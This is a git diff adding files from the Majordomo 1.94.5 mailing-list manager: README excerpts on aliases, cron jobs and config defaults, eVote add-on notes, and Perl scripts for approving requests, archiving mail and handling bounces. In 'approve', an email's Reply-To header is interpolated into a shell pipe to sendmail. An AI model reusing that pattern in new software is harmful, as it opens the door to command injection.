directory: +# +# my-list-archive: "|/usr/local/mail/majordomo/wrapper archive2.pl +# -f /usr/local/mail/lists/my-list.archive/my-list +# -m -a" + + +---------------- +* Other Programs +---------------- + +The "bounce-remind" script should be run out of cron using a line similar to: + + 10 2 * * * /tools/majordomo/wrappers/bblisa/wrapper bounce-remind + +This sends mail to all of the people on the bounces list to warn them +that they are no longer on the lists they thought they were on. + +The "medit" program is used to hand edit the mailing list files, but +it locks the files first so that majordomo won't touch them while you +are editing them. You may need to edit this program and change the +location of the majordomo.cf file if the majordomo.cf file is not +accessible as /etc/majordomo.cf). + +The "new-list" is used when starting a new list. Often there is a +flood of mail when a list starts up. If you wish to allow a grace +period for people to subscribe before actually putting the list +"on-line", the new-list script can be put at the list address, and it +will notify people that the list is not yet open for business. + +The "request-answer" program attached to the "-request" address for +the list sends back a recording telling folks how to use the Majordomo +address for their requests, or how to contact a human if they really +need to. You can use majordomo with the -l option to sit at the +-request address instead of using request-answer if you like. + +The "approve" program is intended to be used by a mailing list +administrator to approve messages send by majordomo or resend. + +The "bounce" program removes an address from an active majordomo list, +and subscribes it to the bounces list. This is used when mail to the +address starts bouncing. + +-------- +* Tricks +-------- + +This section has a few tricks when using majordomo and resend. + +1) How do I maintain the restrict_post file for resend? + + The easiest way is to create a pseudo list in majordomo. The file + that contains this list if the file name used for the -I flag to + resend. For example the filename "-can_post" can be + created in the majordomo mailing lists directory. This list should + be unadvertised and closed. Don't bother creating any sendmail + aliases for it. This allows people to be added to or removed from + the list using majordomo commands. + +2) How can I have more than one moderator/owner for a list? + + Again majordomo is your friend. Create a mailing list called + "-owner". Again create it nonadvertised and closed. + Set up the appropriate aliases for the list: + + owner-listname::include:/usr/local/Lists/-owner + listname-owner:owner-listname + owner-owner-listname: owner-majordomo + + and you are done. + +3) I run smail. How do I set up majordomo to work in this environment? + + Just set $sendmail_command to /bin/smail in your majordomo.cf. + + It has been reported that by default smail does not understand the + :include: syntax, and that can be fixed by adding the following to + /etc/smail/directors: + + aliasinclude: + driver=aliasinclude, + nobody; + copysecure, + copyowners, + + (Thanks to Steve Casey for this information.) + + +------------------------------------------------ +* Customizing the default list config values +------------------------------------------------ + +The default values of the list configuration files are taken from the +file 'config_parse.pl' in the associative array %known_keys. + +It's best to read the above section _The list configuration files_ and +the Doc/list-owner-info file, as well as carefully reading an existing +list configuration before continuing. + +If you want to change the defaults, change the values assigned to each +keyword. There is some documentation in the config_parse.pl file. The +config_parse.pl file is also a man page describing the programmatic +interface to the config file parser and some other details about the +config file parser. + +Paul Pomes p-pomes@uiuc.edu suggests the following as replacements for +the message_fronter and message_footer default values. I haven't +tested them, but they may be useful: + + +'message_fronter', '#! local($TEMP) = $list; + if ( $list =~ /-digest$/ ) { + $TEMP =~ s/-digest$//; + "In this issue:\n\n\t_SUBJECTS_\n\nSee the end of the digest for information on subscribing to the $TEMP\nor $TEMP-digest mailing lists.\n"; + } else { + ""; + }', +'message_footer', '#! local($TEMP) = $list; + if ( $list =~ /-digest$/ ) { + $TEMP =~ s/-digest$//; + "To subscribe to $TEMP-digest, send the command:\n\n\t + subscribe $TEMP-digest\n\nin the body of a message to \"Majordomo@ + Majordomo.cso.uiuc.edu\". If you want\nto subscribe something + other than the account the mail is coming from,\nsuch as a local + redistribution list, then append that address to the\n\"subscribe\" + command; for example, to subscribe \"local-$TEMP\":\n\n\tsubscribe + $TEMP-digest local-$TEMP@your.domain.net\n\nA non-digest + (direct mail) version of this list is also available; + to\nsubscribe to that instead, replace all instances of + \"$TEMP-digest\"\nin the commands above with \"$TEMP\"."; + } else { + ""; + }', + +Note that the strings are all one line long. I have wrapped and broken +them here for ease of viewing. + +-------------------- diff --git a/update/scripts/packages/majordomo-1.94.5/README.eVote b/update/scripts/packages/majordomo-1.94.5/README.eVote new file mode 100644 index 0000000..5584b22 --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/README.eVote @@ -0,0 +1,81 @@ +eVote is a majordomo-addon that allows the list's members to take +polls. It attaches to a majordomo-run email list by insertion into +the alias: + +sample: "|/usr/local/majordomo/wrapper eVote_insert resend ..." + +You can get the free Linux-ready software, in French or English, at +http://www.deliberate.com or you can join a fiddle@deliberate.com +majordomo-run list to play with it. + +eVote also provides support for multi-lingual web/email petitions +(English, French, and Spanish). + +eVoted Email Lists +====== ===== ===== + +eVote-enabled email lists feature: + +* Polls are initialized and administered by the members of the email + list with overriding powers given to the list's owner. + +* Members can change their own votes -- until the poll closes. + +* Poll types supported are: + + "Yes/No" votes or "Numeric" votes. + + "Single" items or "Grouped" items, examples being "Vote for One + of the Next Five" and "Distribute 20 Votes over the Next 10 Items". + +* 3 secrecy options: + + "Public" items: Members can see how other members voted. + + "Private" items: Votes are secret. + + "If-Voted" items: Members can see IF but not HOW others have voted. + +* The vote tally can be displayed while the poll is open, or hidden + until the poll is closed. + +How it works: eVote attaches to the email list in the alias file. Most +messages sent to the list's address are broadcast to the list as +usual. However, messages that start with the word "eVote" are scooped +out of the message stream and processed by eVote. + +eVote Petitions +===== ========= + +eVote provides support for multi-lingual petitions that are signed and +administered by email. + +* Allows only one signature per email address. +* Verifies email addresses by email receipt. +* Provides bounced mail support. +* Allows the signer to remove his own signature. +* Provides optional display of signatures. +* Integrates with remote WWW sites. +* Signatures are collected from the web site via Javascript. +* Customized html reports are updated automatically via ftp. +* Supports email forms as specified by the initializer of the petition. +* Provides remote initialization and administration of petitions. +* Optionally integrates with Majordomo allowing petitions to be + administered by committee. +* Software limited to over 4 billion signers. + + +The Clerk +=== ===== + +The Clerk is the underlying vote-server that maintains the data for +all eVote's interfaces. There is no other database server involved. + +The Clerk is an object-oriented C++ specialized database server, +specialized in that it can only serve vote data. It has no flexibility +in the data types it can store as do generalized relational or +object-oriented database servers. + +What is lost in flexibility is gained in automation: control of each +datum is given to the person who contributes it; the data are +maintained completely automatically. The administrator is not +involved. + +Questions? Write marilyn@deliberate.com. + +http://www.deliberate.com diff --git a/update/scripts/packages/majordomo-1.94.5/approve b/update/scripts/packages/majordomo-1.94.5/approve new file mode 100644 index 0000000..ce5727a --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/approve @@ -0,0 +1,252 @@ +#!/bin/perl + +# Approve Majordomo requests or "resend" bounces. +# +# Given arguments, approves the requests in those files; +# given no arguments, reads standard input. +# +# If the "Subject: " line is "APPROVE ", the message is treated as +# a request for approval from Majordomo. An appropriate command is generated +# and mailed to Majordomo to approve the request. +# +# If the "Subject: " line is "BOUNCE : ", the message is treated +# as a posting rejected by "resend" for some reason, and is reformatted with +# appropriate "Approved:" headers to cause it to succeed, then resubmitted +# for posting. +# +# Assumes that the "approve" password for each list is the same as the +# "approval" password used by "resend", and that this password is stored +# in a file called ".majordomo" in the user's home directory, in the +# following format: +# +# List Password Majordomo-Address +# +# Assumes that the "Majordomo-Address" field is an Internet-style +# "something@somewhere" address, and that postings for "List" should +# be sent to "List@somewhere". +# +# Here's an example of what a .majordomo file should look like: +# +# this-list passwd1 Majordomo@This.COM +# other-list passwd2 Majordomo@Other.GOV +# +# If, for instance, /tmp/request contains a standard request from Majordomo +# to a list manager, such as: +# +# From: Majordomo@This.COM +# To: this-list-approval@This.COM +# +# User@Fubar.COM (Joe User) requests you approve the following: +# +# subscribe this-list User@Fubar.COM (Joe User) +# +# If you approve, send a line such as the following to Majordomo@This.COM: +# +# approve PASSWD subscribe this-list User@Fubar.COM (Joe User) +# +# Then, if you run "approve /tmp/request" or "approve < /tmp/request", the +# following message will be sent to Majordomo@This.COM: +# +# To: Majordomo@This.COM +# +# approve passwd1 subscribe this-list User@Fubar.COM (Joe User) +# +# Brent Chapman Great Circle Associates +# Brent@GreatCircle.COM 1057 West Dana Street +# +1 415 962 0841 Mountain View, CA 94041 + +# $Source: /sources/cvsrepos/majordomo/approve,v $ +# $Revision: 1.15 $ +# $Date: 1997/04/05 19:18:36 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ + +$MAILER = '/usr/lib/sendmail' if -x '/usr/lib/sendmail'; +$MAILER = '/usr/sbin/sendmail' if -x '/usr/sbin/sendmail'; + +die "Couldn't find a sendmail to invoke, please define!" + if !$MAILER; + + +use Getopt::Std; + +getopts("df:") || + die("USAGE: approve [-f ] [-d] [ ...]\nStopped"); + +if (!defined($opt_f)) { + $opt_f = "$ENV{HOME}/.majordomo"; +} + +&read_config(); + +# Read the headers. Look at the "Reply-To:" header to figure out where to +# respond to. Look at the "Subject:" header to figure out if this is an +# APPROVE or a BOUNCE request. + +if (@ARGV) { + foreach $file (@ARGV) { + open(FILE, $file) || (warn("can't open \"$file\"; skipping"), next); + &process_file(FILE); + close(FILE); + } +} else { + &process_file(STDIN); +} + +exit(0); + +sub process_file { + local($FILE) = shift; + local($reply_to); + local($subject); + local($request); + local($list); + + while (<$FILE>) { + s/\n$//; + if (/^reply-to:/i) { + s/^\S*:\s+//; + $reply_to = $_; + $reply_to =~ tr/A-Z/a-z/; + next; + } + if (/^subject:/i) { + s/^\S*:\s+//; + $subject = $_; + $subject =~ tr/A-Z/a-z/; + ($request, $list) = split(/\s/, $subject, 2); + $list =~ s/:.*//; + next; + } + if (/^$/) { + last; + } + } + + # we've read the headers, so we should know now if this is an "APPROVE" + # or a "BOUNCE" that we're processing. + + if ($request eq "approve") { &process_approve($FILE); } + elsif ($request eq "bounce") { &process_bounce($FILE); } + else { + warn("unknown request type '$request' in file '$file'; skipping"); + } +} + +sub process_approve { + local($FILE) = shift; + while (<$FILE>) { + if ((/^\tsubscribe\s/) || (/^\tunsubscribe\s/)) { + if (!defined($reply_to)) { + warn("No \"Reply-To:\"; exiting"); + exit(1); + } + s/^\t//; + split; + $list = $_[1]; + $list =~ tr/A-Z/a-z/; + $passwd = $passwd{"$list\@$reply_to"}; + if (! $passwd) { + warn("no password for list $list; skipping \"$_\""); + next; + } + if (defined($opt_d)) { + open(MAIL, ">&STDOUT"); + print MAIL "-" x 20, "\n"; + } else { + open(MAIL, "|$MAILER $reply_to") || + die ("open(\"|$MAILER ...\"): $!"); + } + + print MAIL "To: $reply_to\n\n"; + print MAIL "approve $passwd $_"; + close(MAIL); + last; + } + } + print STDERR "Mailed approved command to $list list.\n" + unless defined $opt_d; +} + +sub process_bounce { + local($FILE) = shift; + local ($from_skipped); + + # we've already skipped the header, so set up to approve the message + + # first, figure out where to send it + if (defined($reply_to)) { + # if there's a "Reply-To:" field set, use it. + $post_to = $reply_to; + } elsif ($list =~ /\@/) { + # if the list name already appears fully qualified, use it + $post_to = $list; + } else { + # Well, can we figure it out? + if ($site{$list} eq "MULTIPLE") { + warn("Can't distinguish between multiple lists named '$list'\nSkipping '$file'"); + return; + } else { + $post_to = $list . "\@" . $site{$list}; + } + } + + if (!defined($passwd{$list})) { + warn "Can't find password for list $list, Stopped"; + return; + } + + if (defined($opt_d)) { + open(MAIL, ">&STDOUT"); + print MAIL "-" x 20, "\n"; + print MAIL "To: $post_to\n\n"; + } else { + open(MAIL, "|$MAILER $post_to") || die("open(\"|$MAILER...\"): $!"); + } + + print MAIL "Approved: $passwd{$list}\n"; + + while (<$FILE>) { + if (/^>?From / && ! defined($from_skipped)) { + # Skip any initial "From " or ">From " line + $from_skipped = 1; + next; + } + s/^~/~~/; + print MAIL $_; + } + close(MAIL); + print STDERR "Mailed approved message to $list list.\n"; +} + +sub read_config { + local($l); + local($p); + local($m); + local($s); + open(CONF, $opt_f) || die("open(CONF, \"$opt_f\"): $!"); + while () { + s/\n$//; + s/#.*//; + if (/^$/) { next; } + split; + $l = $_[0]; $l =~ tr/A-Z/a-z/; # list + $p = $_[1]; # password + $m = $_[2]; $m =~ tr/A-Z/a-z/; # majordomo@site + split(/\@/, $m); + $s = $_[1]; $s =~ tr/A-Z/a-z/; # site + + $passwd{$l} = $p; + $passwd{"$l\@$m"} = $p; + $passwd{"$l\@$s"} = $p; + if (defined($site{$l})) { + # if it's already defined, there's more than one list by this name + $site{$l} = "MULTIPLE"; + } else { + $site{$l} = $s; + } + } + close(CONF); +} diff --git a/update/scripts/packages/majordomo-1.94.5/archive2.pl b/update/scripts/packages/majordomo-1.94.5/archive2.pl new file mode 100644 index 0000000..8f857bd --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/archive2.pl @@ -0,0 +1,188 @@ +#!/bin/perl + +# Copyright 1993, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/archive2.pl,v $ +# $Revision: 1.11 $ +# $Date: 2000/01/07 11:00:49 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# +# archive -f {-u|-a} [-d|-m|-y] [file ...] +# -f REQUIRED; specifies base file name for archive +# -u Input is a UNIX archive (separated by "From " lines) to split +# -a Input is a message to append to archive +# -d Archive file is .YYMMDD +# -D Archive file is .YYYYMMDD +# -m Archive file is .YYMM +# -M Archive file is .YYYYMM +# -y Archive file is .YY +# -Y Archive file is .YYYY +# Exactly one of "-u" or "-a" must be specified. +# At most one of "-d", "-D", "-m", "-M", "-y", or "-Y" may be specified; +# if none is specified, archive name is simply +# +# An example of using "archive" to split an existing UNIX-style archive +# named "my-list.archive" into by-day archive files named "my-list.YYMMDD": +# +# archive -f my-list -d -u my-list.archive +# +# A sample /etc/aliases file entry to use "archive" add each incoming message +# to a "my-list.YYMM" file in the "/usr/local/mail/lists/my-list.archive" +# directory: +# +# my-list-archive: "|/usr/local/mail/majordomo/wrapper archive +# -f /usr/local/mail/lists/my-list.archive/my-list +# -m -a" + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +($program_name = $0) =~ s|.*/||; + +# Change directory to our home +chdir($ENV{'HOME'}) if $ENV{'HOME'}; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +use POSIX qw(ctime); +require "majordomo_version.pl"; # What version of Majordomo is this? +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking + +$hostname = &chop_nl(`hostname`); +&set_abort_addr($whoami_owner); +&set_log($log, $hostname, $program_name, "UNKNOWN"); + +# Here's where the fun begins... + +use Getopt::Std; + +$m = 1; +foreach (@ctime'MoY) { + $MoY{$_} = $m++; +} + +$usage = "Usage: $0 -f {-u|-a} [-d|-D|-m|-M|-y|-Y] [file ...]"; + +getopts("f:uadDmMyY") || die("$usage\nStopped"); + +if (!defined($opt_f)) { + print STDERR "'-f ' required\n$usage\n"; + exit 1; +} + +$sendmail_command = $sendmail_command || "/usr/lib/sendmail"; +$bounce_mailer = $bounce_mailer || "$sendmail_command -f\$sender -t"; +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); +&set_log($log, $hostname, $program_name, $opt_f); + +if (defined($opt_a)) { $mutex++; } +if (defined($opt_u)) { $mutex++; } +if ($mutex != 1) { + print STDERR "Either '-a' or '-u' required\n$usage\n"; + exit 2; +} + +$mutex = 0; + +if (defined($opt_d)) { $mutex++; } +if (defined($opt_D)) { $mutex++; } +if (defined($opt_m)) { $mutex++; } +if (defined($opt_M)) { $mutex++; } +if (defined($opt_y)) { $mutex++; } +if (defined($opt_Y)) { $mutex++; } +if ($mutex > 1) { + print STDERR "Only one of '-d', '-D', '-m', '-M', -y', or '-Y' allowed\n$usage\n"; + exit 3; +} + +if (defined($opt_a)) { + ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = + localtime(time); + &open_archive(FILE, $year, $mon + 1, $mday); +} + +while (<>) { + # remove Approved header (Doh!) if present and still in the header. + next if /^Approved:/ && $. < 30; + if (/^From\s/) { + if (/^From\s+\S+\s+(Sun|Mon|Tue|Wed|Thu|Fri|Sat)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d\d?\s+\d\d?:\d\d:\d\d\s+\d{2,4}\s*$/i) { + if (defined($opt_u)) { + if (defined($is_open)) { + print FILE "\n"; + &lclose(FILE); + } + &open_archive_unix(FILE, $_); + } + print FILE "$_"; + } else { + print FILE ">$_"; + } + } else { + print FILE $_; + } +} + +print FILE "\n"; +&lclose(FILE); + +sub open_archive_unix { + local($FH) = shift; + local($from) = shift; + local($junk, $addr, $dow, $moy, $dom, $time, $year, @rest); + + ($junk, $addr, $dow, $moy, $dom, $time, $year, @rest) = split(/\s+/,$from); + &open_archive($FH, $year % 100, $MoY{$moy}, $dom); +} + +sub open_archive { + local($FH) = shift; + local($year) = shift; + local($mon) = shift; + local($mday) = shift; + local($suffix); + + if (defined($opt_y)) { + $suffix = sprintf(".%02d", $year % 100); + } + if (defined($opt_Y)) { + $suffix = sprintf(".%04d", $year + 1900); + } + if (defined($opt_m)) { + $suffix = sprintf(".%02d%02d", $year % 100, $mon); + } + if (defined($opt_M)) { + $suffix = sprintf(".%04d%02d", $year + 1900, $mon); + } + if (defined($opt_d)) { + $suffix = sprintf(".%02d%02d%02d", $year % 100, $mon, $mday); + } + if (defined($opt_D)) { + $suffix = sprintf(".%04d%02d%02d", $year + 1900, $mon, $mday); + } + + &lopen($FH, ">>", "$opt_f$suffix") || + die("Can't append to $opt_f$suffix: $!"); + $is_open = 1; + chmod 0664, "$opt_f$suffix"; +} diff --git a/update/scripts/packages/majordomo-1.94.5/archive2.pl.orig b/update/scripts/packages/majordomo-1.94.5/archive2.pl.orig new file mode 100644 index 0000000..105e5cb --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/archive2.pl.orig @@ -0,0 +1,188 @@ +#!/bin/perl + +# Copyright 1993, D. Brent Chapman. All Rights Reserved. For use by +# permission only. +# +# $Source: /sources/cvsrepos/majordomo/archive2.pl,v $ +# $Revision: 1.11 $ +# $Date: 2000/01/07 11:00:49 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# +# archive -f {-u|-a} [-d|-m|-y] [file ...] +# -f REQUIRED; specifies base file name for archive +# -u Input is a UNIX archive (separated by "From " lines) to split +# -a Input is a message to append to archive +# -d Archive file is .YYMMDD +# -D Archive file is .YYYYMMDD +# -m Archive file is .YYMM +# -M Archive file is .YYYYMM +# -y Archive file is .YY +# -Y Archive file is .YYYY +# Exactly one of "-u" or "-a" must be specified. +# At most one of "-d", "-D", "-m", "-M", "-y", or "-Y" may be specified; +# if none is specified, archive name is simply +# +# An example of using "archive" to split an existing UNIX-style archive +# named "my-list.archive" into by-day archive files named "my-list.YYMMDD": +# +# archive -f my-list -d -u my-list.archive +# +# A sample /etc/aliases file entry to use "archive" add each incoming message +# to a "my-list.YYMM" file in the "/usr/local/mail/lists/my-list.archive" +# directory: +# +# my-list-archive: "|/usr/local/mail/majordomo/wrapper archive +# -f /usr/local/mail/lists/my-list.archive/my-list +# -m -a" + +# set our path explicitly +# PATH it is set in the wrapper, so there is no need to set it here. +#$ENV{'PATH'} = "/bin:/usr/bin:/usr/ucb"; + +($program_name = $0) =~ s|.*/||; + +# Change directory to our home +chdir($ENV{'HOME'}) if $ENV{'HOME'}; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# All these should be in the standard PERL library +unshift(@INC, $homedir); +require "ctime.pl"; # To get MoY definitions for month abbrevs +require "majordomo_version.pl"; # What version of Majordomo is this? +require "majordomo.pl"; # all sorts of general-purpose Majordomo subs +require "shlock.pl"; # NNTP-style file locking + +$hostname = &chop_nl(`hostname`); +&set_abort_addr($whoami_owner); +&set_log($log, $hostname, $program_name, "UNKNOWN"); + +# Here's where the fun begins... + +require "getopts.pl"; + +$m = 1; +foreach (@ctime'MoY) { + $MoY{$_} = $m++; +} + +$usage = "Usage: $0 -f {-u|-a} [-d|-D|-m|-M|-y|-Y] [file ...]"; + +&Getopts("f:uadDmMyY") || die("$usage\nStopped"); + +if (!defined($opt_f)) { + print STDERR "'-f ' required\n$usage\n"; + exit 1; +} + +$sendmail_command = $sendmail_command || "/usr/lib/sendmail"; +$bounce_mailer = $bounce_mailer || "$sendmail_command -f\$sender -t"; +&set_abort_addr($whoami_owner); +&set_mail_from($whoami); +&set_mail_sender($whoami_owner); +&set_mailer($bounce_mailer); +&set_log($log, $hostname, $program_name, $opt_f); + +if (defined($opt_a)) { $mutex++; } +if (defined($opt_u)) { $mutex++; } +if ($mutex != 1) { + print STDERR "Either '-a' or '-u' required\n$usage\n"; + exit 2; +} + +$mutex = 0; + +if (defined($opt_d)) { $mutex++; } +if (defined($opt_D)) { $mutex++; } +if (defined($opt_m)) { $mutex++; } +if (defined($opt_M)) { $mutex++; } +if (defined($opt_y)) { $mutex++; } +if (defined($opt_Y)) { $mutex++; } +if ($mutex > 1) { + print STDERR "Only one of '-d', '-D', '-m', '-M', -y', or '-Y' allowed\n$usage\n"; + exit 3; +} + +if (defined($opt_a)) { + ($sec, $min, $hour, $mday, $mon, $year, $wday, $yday, $isdst) = + localtime(time); + &open_archive(FILE, $year, $mon + 1, $mday); +} + +while (<>) { + # remove Approved header (Doh!) if present and still in the header. + next if /^Approved:/ && $. < 30; + if (/^From\s/) { + if (/^From\s+\S+\s+(Sun|Mon|Tue|Wed|Thu|Fri|Sat)\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec)\s+\d\d?\s+\d\d?:\d\d:\d\d\s+\d{2,4}\s*$/i) { + if (defined($opt_u)) { + if (defined($is_open)) { + print FILE "\n"; + &lclose(FILE); + } + &open_archive_unix(FILE, $_); + } + print FILE "$_"; + } else { + print FILE ">$_"; + } + } else { + print FILE $_; + } +} + +print FILE "\n"; +&lclose(FILE); + +sub open_archive_unix { + local($FH) = shift; + local($from) = shift; + local($junk, $addr, $dow, $moy, $dom, $time, $year, @rest); + + ($junk, $addr, $dow, $moy, $dom, $time, $year, @rest) = split(/\s+/,$from); + &open_archive($FH, $year % 100, $MoY{$moy}, $dom); +} + +sub open_archive { + local($FH) = shift; + local($year) = shift; + local($mon) = shift; + local($mday) = shift; + local($suffix); + + if (defined($opt_y)) { + $suffix = sprintf(".%02d", $year % 100); + } + if (defined($opt_Y)) { + $suffix = sprintf(".%04d", $year + 1900); + } + if (defined($opt_m)) { + $suffix = sprintf(".%02d%02d", $year % 100, $mon); + } + if (defined($opt_M)) { + $suffix = sprintf(".%04d%02d", $year + 1900, $mon); + } + if (defined($opt_d)) { + $suffix = sprintf(".%02d%02d%02d", $year % 100, $mon, $mday); + } + if (defined($opt_D)) { + $suffix = sprintf(".%04d%02d%02d", $year + 1900, $mon, $mday); + } + + &lopen($FH, ">>", "$opt_f$suffix") || + die("Can't append to $opt_f$suffix: $!"); + $is_open = 1; + chmod 0664, "$opt_f$suffix"; +} diff --git a/update/scripts/packages/majordomo-1.94.5/bounce b/update/scripts/packages/majordomo-1.94.5/bounce new file mode 100644 index 0000000..6bfc79e --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/bounce @@ -0,0 +1,202 @@ +#!/bin/perl + +# move problem addresses from to "bounces" +# +# Assumes that the "approve" password for each list is stored in a file +# called ".majordomo" in the user's home directory, in the following format: +# +# List Password Majordomo-Address +# +# When you bounce someone from a list, it looks up that lists's password +# and Majordomo-Address (the address of the Majordomo server serving that +# list) in the .majordomo file, and looks for another list named "bounces" +# with the same Majordomo-Address. +# +# Here's an example of what a .majordomo file should look like: +# +# this-list passwd1 Majordomo@This.COM +# other-list passwd2 Majordomo@Other.GOV +# bounces passwd3 Majordomo@This.COM +# bounces passwd4 Majordomo@Other.GOV +# +# A command of "bounce this-list user@fubar.com" will mail the +# following message to Majordomo@This.COM: +# +# approve passwd1 unsubscribe this-list user@fubar.com +# approve passwd3 subscribe bounces user@fubar.com (930401 this-list) +# +# Note that the date and the list the user was bounced from are included +# as a comment in the address used for the "subscribe bounces" command. +# +# Brent Chapman Great Circle Associates +# Brent@GreatCircle.COM 1057 West Dana Street +# +1 415 962 0841 Mountain View, CA 94041 + +# $Source: /sources/cvsrepos/majordomo/bounce,v $ +# $Revision: 1.11 $ +# $Date: 2000/01/07 14:09:24 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# + +$MAILER = "/usr/lib/sendmail"; + +$default_maxage = 21; + +# if this program is called unsub, then only unsubscribe, don't add to bounces + +($basename = $0) =~ s!.*/!!; +if ($basename =~ /unsub/) { + $unsub_only = 1; +} + +while ($ARGV[0] =~ /^(-.*)/ && shift) { + if ($1 eq "-f") { + $opt_f = shift; + } + elsif ($1 eq "-d") { + $debug = 1; + } + elsif ($1 eq "-unsub") { + $unsub_only = 1; + } + elsif ($1 eq "-expire") { + $expire = 1; + } + elsif ($1 eq "-majordomo") { + $majordomo = shift; + } + elsif ($1 eq "-maxage") { + $maxage = int(shift); + if ($maxage <= 0) { + warn "$maxage is not a positive integer; ignoring.\n"; + $maxage = 0; + } + } + else { + warn "bad option: $1\n"; + &usage(); + } +} + +if (! defined($opt_f)) { + $opt_f = "$ENV{HOME}/.majordomo"; +} + +if ($maxage && !$expire) { + warn "Can't specify -maxage without -expire\n"; + &usage(); +} + +&read_config(); + +if ($expire) { + if ($maxage <= 0) { + $maxage = $default_maxage; + } + # convert maxage in days to seconds + $maxage *= 24*60*60; + $list = 'bounces'; + if ($majordomo) { + $majordomo{$list} = $majordomo; + } +} +else { + $list = shift(@ARGV); + $list =~ tr/A-Z/a-z/; + $list =~ s/\@.*//; + + $list_passwd = $passwd{$list}; + if (! $list_passwd) { + die("no password for list $list; stopping"); + } + $maxage = 0; +} + +$bounce_passwd = $passwd{"bounces\@$majordomo{$list}"}; +if (! $unsub_only ) { + if (! $bounce_passwd) { + die("no password for list bounces; stopping"); + } +} + +($sec,$min,$hour,$mday,$mon,$year) = localtime(time-$maxage); +$year += 1900; + +if ($debug) { + open(MSG, ">&STDOUT"); +} else { + open(MSG, "|$MAILER $majordomo{$list}") || + die("open(MSG, \"|$MAILER $majordomo{$list}\"): $!\nStopped"); +} + +print MSG "To: $majordomo{$list}\n"; +print MSG "Subject: expired bounces entries\n" if $expire; +print MSG "\n"; + +if ($expire) { + $expire_date = sprintf("%02d%02d%02d", $year, $mon+1, $mday); + while (<>) { + # bounce format is user.name (yymmdd listname), we want yymmdd + next unless /.*\s\((\d+) \w.*\)/; + if ($1 <= $expire_date) { + printf MSG "approve %s unsubscribe bounces %s", $bounce_passwd, $_; + } + } +} else { + foreach (@ARGV) { + printf MSG "approve %s unsubscribe %s %s\n", $list_passwd, $list, $_; + if (! $unsub_only) { + printf MSG "approve %s subscribe bounces %s (%02d%02d%02d %s)\n", + $bounce_passwd, $_, $year, $mon+1, $mday, $list; + } + } +} +close(MSG); + +exit 0; + +sub read_config { + open(CONF, $opt_f) || die("open(CONF, \"$opt_f\"): $!"); + while () { + chop; + s/#.*//; + next if /^\s*$/; + local($list,$passwd,$majordomo) = split(' ',$_,3); + $list =~ tr/A-Z/a-z/; + $majordomo =~ tr/A-Z/a-z/; + if (! defined($passwd{$list})) { + $passwd{$list} = $passwd; + $majordomo{$list} = $majordomo; + } + $passwd{"$list\@$majordomo"} = $passwd; + } + close(CONF); +} + +sub usage { + print STDERR <] [-unsub] + $0 [-d] [-f ] -expire [-maxage ] + [-majordomo ] + +Options: + -d Debug: print what would be done, but don't do it. + -f config_file Specify a list/passwd file (default ~/.majordomo) + + -unsub Unsubscribe the user from the list, but don't add + to bounces. On by default if the program name + contains "unsub". + + -expire Expire entries from the specified bounces list. + -maxage days Expire entries older than maxage days (default + $default_maxage days). + -majordomo addr Send expired bounces to this majordomo (default is + the majordomo corresponding to the first 'bounces' + list). + bounce_entries A file containing bounce entries (eg. the bounces list) +EOT + exit(1); +} diff --git a/update/scripts/packages/majordomo-1.94.5/bounce-remind b/update/scripts/packages/majordomo-1.94.5/bounce-remind new file mode 100644 index 0000000..6da75ed --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/bounce-remind @@ -0,0 +1,105 @@ +#!/bin/perl + +# send a reminder to folks on a bounce list + +# Brent Chapman Great Circle Associates +# Brent@GreatCircle.COM 1057 West Dana Street +# +1 415 962 0841 Mountain View, CA 94041 + +# $Source: /sources/cvsrepos/majordomo/bounce-remind,v $ +# $Revision: 1.9 $ +# $Date: 1996/12/09 16:49:46 $ +# $Author: cwilson $ +# $State: Exp $ +# +# $Locker: $ +# + +$main'program_name = 'mj_bounce-remind'; + +# Read and execute the .cf file +$cf = $ENV{"MAJORDOMO_CF"} || "/etc/majordomo.cf"; +if ($ARGV[0] eq "-C") { + $cf = $ARGV[1]; + shift(@ARGV); + shift(@ARGV); +} +if (! -r $cf) { + die("$cf not readable; stopped"); +} +require "$cf"; + +# Go to the home directory specified by the .cf file +chdir("$homedir"); + +# All these should be in the standard PERL library +unshift(@INC, $homedir); + +# Set these here so that they can be interploated on the $mailer command line. +$sender = "nobody\@$whereami"; +$to = "Bounces\@$whereami"; +$from = "nobody\@$whereami"; +$subject = "Bouncing email from mailing lists at $whereami"; + +$mail_cmd = eval qq/"$mailer"/; + +open(MSG, "|$mail_cmd bounces\@$whereami") || + die("open(MSG, \"|$mail_cmd bounces\@$whereami\"): $!\nStopped"); + +print MSG <) { + print MSG "\t$_"; +} + +close(LIST); + +print MSG < +# more mods by Vince Skahan +# +# execute this by cd to your majordomo dir, then 'wrapper config-test' +# + +use 